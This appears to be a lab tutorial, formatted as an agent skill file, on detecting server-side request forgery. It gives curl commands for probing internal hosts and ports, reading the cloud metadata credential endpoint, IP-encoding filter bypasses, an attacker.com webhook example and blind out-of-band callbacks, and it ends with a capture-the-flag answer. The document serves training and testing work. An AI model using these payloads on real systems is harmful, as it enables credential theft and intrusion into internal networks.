| name | detecting-ssrf-vulnerabilities |
| description | Detect Server-Side Request Forgery (SSRF) vulnerabilities that allow attackers to make the server issue HTTP requests to internal or external resources. Covers basic SSRF detection, cloud metadata endpoint access, blind SSRF via out-of-band channels, and filter bypass techniques in safe lab environments. |
| domain | cybersecurity |
| subdomain | web-application-testing |
| tags | ["ssrf","server-side-request-forgery","cloud-security","intermediate","owasp-a10","internal-network"] |
| difficulty | intermediate |
| mitre_techniques | ["T1190","T1590.004"] |
| nist_csf_functions | ["Identify","Protect"] |
| version | 1.0 |
| author | mukul975 |
| license | Apache-2.0 |
| lab_environment | labs/web-application/ssrf-basics |
⚠️ Educational Use Only — SSRF exploitation against cloud metadata endpoints or internal services on unauthorized systems can expose credentials and enable lateral movement. Practice only in provided isolated lab environments. Never test on AWS, GCP, or Azure instances you don't own.
When to Use
- During authorized web app pentests when the application fetches URLs supplied by users (webhooks, image importers, URL previews, PDF generators)
- In CTF challenges involving internal network access or cloud metadata exfiltration
- When reviewing code that makes HTTP requests using user-controlled URLs
- As a prerequisite for understanding cloud security misconfigurations and IMDS (Instance Metadata Service) attacks
- When assessing WAF/filter effectiveness against SSRF bypass techniques
Prerequisites
- Knowledge: Basic HTTP, what an IP address is, general understanding of cloud services
- Lab:
labs/web-application/ssrf-basics — start with agentlab start ssrf-basics
- Difficulty: Intermediate
- Time: 35–50 minutes
Workflow
Step 1: Start the Lab
agentlab start ssrf-basics
Step 2: Identify SSRF Entry Points
Common SSRF-vulnerable features:
- URL import/fetch:
?url=https://example.com/image.jpg
- Webhook config:
POST /webhooks {"callback_url": "https://attacker.com"}
- PDF generators:
?render=https://internal/report
- Image proxy:
/proxy?src=http://...
- XML imports with external entities (XXE → SSRF)
curl "http://localhost:8084/fetch?url=http://example.com"
Step 3: Test Basic SSRF — Internal Host Access
curl "http://localhost:8084/fetch?url=http://127.0.0.1/"
curl "http://localhost:8084/fetch?url=http://localhost/"
curl "http://localhost:8084/fetch?url=http://internal-admin:8090/"
for port in 22 80 443 3306 5432 6379 8080 8090; do
echo -n "Port $port: "
curl -s "http://localhost:8084/fetch?url=http://127.0.0.1:$port" | head -c 50
done
Step 4: Cloud Metadata SSRF (Simulated)
The lab simulates the AWS EC2 IMDS (Instance Metadata Service) at 169.254.169.254:
curl "http://localhost:8084/fetch?url=http://169.254.169.254/latest/meta-data/"
curl "http://localhost:8084/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/"
curl "http://localhost:8084/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/ec2-role"
In real authorized cloud pentests: Accessing real IMDS exposes IAM credentials that could compromise the entire AWS account. This is why IMDS v2 (token-based) was introduced.
Step 5: SSRF Filter Bypass Techniques
If the application blocks 127.0.0.1 or localhost:
curl "http://localhost:8084/fetch?url=http://2130706433/"
curl "http://localhost:8084/fetch?url=http://0x7f000001/"
curl "http://localhost:8084/fetch?url=http://0177.0.0.1/"
curl "http://localhost:8084/fetch?url=http://[::1]/"
curl "http://localhost:8084/fetch?url=http://127.1/"
curl "http://localhost:8084/fetch?url=http://ssrf-lab.internal/"
Step 6: Blind SSRF Detection
When the server makes a request but doesn't return the response to you:
curl "http://localhost:8084/fetch?url=http://oast-listener:9001/callback"
agentlab logs ssrf-basics oast-listener
Step 7: Capture the Flag
curl "http://localhost:8084/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/ec2-role"
Key Concepts
| Concept | Definition |
|---|
| SSRF | Server-Side Request Forgery — making the server issue HTTP requests to attacker-controlled or internal targets |
| IMDS | Instance Metadata Service — cloud provider endpoint at 169.254.169.254 that exposes credentials and configuration |
| Blind SSRF | SSRF where the server makes the request but doesn't return the response — detected via OAST |
| OAST | Out-of-Band Application Security Testing — using an external listener to detect blind vulnerabilities |
| SSRF → RCE | SSRF that reaches internal services (Redis, Elasticsearch, Kubernetes API) can chain to remote code execution |
| T1590.004 | MITRE ATT&CK: Gather Victim Network Information — Network Topology |
Tools
| Tool | Purpose | Lab Availability |
|---|
curl | Manual SSRF testing | ✅ Pre-installed |
| Burp Collaborator | Blind SSRF detection via OAST | ⚠️ External (lab uses local alternative) |
ffuf | SSRF port enumeration fuzzing | ✅ Pre-installed |
Output / Verification
agentlab verify ssrf-basics "FLAG{ssrf_cloud_metadata_accessed}"
Further Reading